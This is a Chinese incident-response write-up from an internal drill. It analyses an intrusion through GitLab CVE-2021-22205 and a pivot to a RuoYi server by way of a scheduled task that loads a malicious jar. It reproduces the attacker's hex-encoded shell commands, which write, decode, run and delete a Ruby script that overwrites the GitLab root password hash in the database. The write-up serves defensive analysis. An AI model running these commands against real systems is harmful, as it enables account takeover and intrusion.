01 事件背景介绍

某内部应急演练中,态势感知平台上出现gitlab RCE漏洞入侵成功告警,现需根据流量情况进行安全事件分析。

02 事件分析过程

根据态势感知平台,确认发起入侵的IP地址,以该地址为源地址进行搜索,寻找入侵痕迹及路径。通过流量分析,判断入侵者首先尝试使用弱口令登陆gitlab,从响应状态判断弱口令没有登陆成功。

一篇文章教你如何gitlab应急响应_git

在后续的流量发现存在422响应包,进一步分析入侵者使用gitlab RCE漏洞(CVE-2021-22205)对80.X.X.60成功发起入侵:

一篇文章教你如何gitlab应急响应_IP_02


入侵者写入恶意脚本/tmp/.JARRLTW.rb,并执行,成功执行后删除脚本

echo -n 72657175697265202779616d6c270a7265717569726520277067270a636f6e666967203d2059414d4c3a3a6c6f61645f6669 >> /tmp/.JARRLTW.rb
echo -n 6c6528272f7661722f6f70742f6769746c61622f6769746c61622d7261696c732f6574632f64617461626173652e796d6c27 >> /tmp/.JARRLTW.rb
echo -n 295b2770726f64756374696f6e275d0a636f6e6e203d2050472e636f6e6e65637428636f6e6669675b27686f7374275d2c20 >> /tmp/.JARRLTW.rb
echo -n 636f6e6669675b27706f7274275d2c2027272c2027272c20636f6e6669675b276461746162617365275d2c20636f6e666967 >> /tmp/.JARRLTW.rb
echo -n 5b27757365726e616d65275d2c20636f6e6669675b2770617373776f7264275d290a636f6e6e2e6578656328277570646174 >> /tmp/.JARRLTW.rb
echo -n 652075736572732073657420636f6e6669726d6174696f6e5f746f6b656e3d2873656c65637420656e637279707465645f70 >> /tmp/.JARRLTW.rb
echo -n 617373776f72642066726f6d20757365727320776865726520757365726e616d653d5c27726f6f745c27292c656e63727970 >> /tmp/.JARRLTW.rb
echo -n 7465645f70617373776f72643d5c272432612431302436386857326461516b544678614c5478663538427a75744c54414263 >> /tmp/.JARRLTW.rb
echo -n 456264506e633058324451522f4d6946306658744157344f475c272c73746174653d5c276163746976655c27207768657265 >> /tmp/.JARRLTW.rb
echo -n 20757365726e616d653d5c27726f6f745c273b2729 >> /tmp/.JARRLTW.rb
cat /tmp/.JARRLTW.rb | xxd -r -p | tee /tmp/.JARRLTW.rb
/opt/gitlab/embedded/bin/ruby /tmp/.JARRLTW.rb
/usr/bin/rm -rf /tmp/.JARRLTW.rb

还原脚本,具体代码如下图所示

一篇文章教你如何gitlab应急响应_git_03

该脚本更改了gitlab root用户的密码,从302状态码看,入侵者成功利用修改后的密码登陆了gitlab。

一篇文章教你如何gitlab应急响应_3d_04

流量记录显示,入侵者存在翻阅源码行为:

一篇文章教你如何gitlab应急响应_3d_05

入侵者找到仓库中ruoyi的配置文件,了解到ruoyi登录认证信息;

一篇文章教你如何gitlab应急响应_IP_06

一篇文章教你如何gitlab应急响应_3d_07


入侵者登录rouyi并添加定时任务:请求并执行恶意jar包

一篇文章教你如何gitlab应急响应_git_08


通过微步情报在线,进一步确认IP为入侵者IP

一篇文章教你如何gitlab应急响应_IP_09


03 事件分析结果

入侵者10.X.X.2利用gitlab RCE漏洞(CVE-2021-22205)写入恶意脚本,修改GitLab root密码,登录后在仓库中翻阅源码找到rouyi配置文件从而成功登录位于50.X.X.40的rouyi并设置定时任务获取远程恶意类命令执行。

04 安全加固建议


1、在安全设备上,如防火墙、IDS上封禁入侵IP:10.X.X.2。

2、 针对本次失陷主机50.X.X.40,进行网络隔离,排查入侵痕迹和内网横向情况,修复gitlab RCE漏洞。

3、重新修改rouyi配置文件,确保配置信息符合安全要求。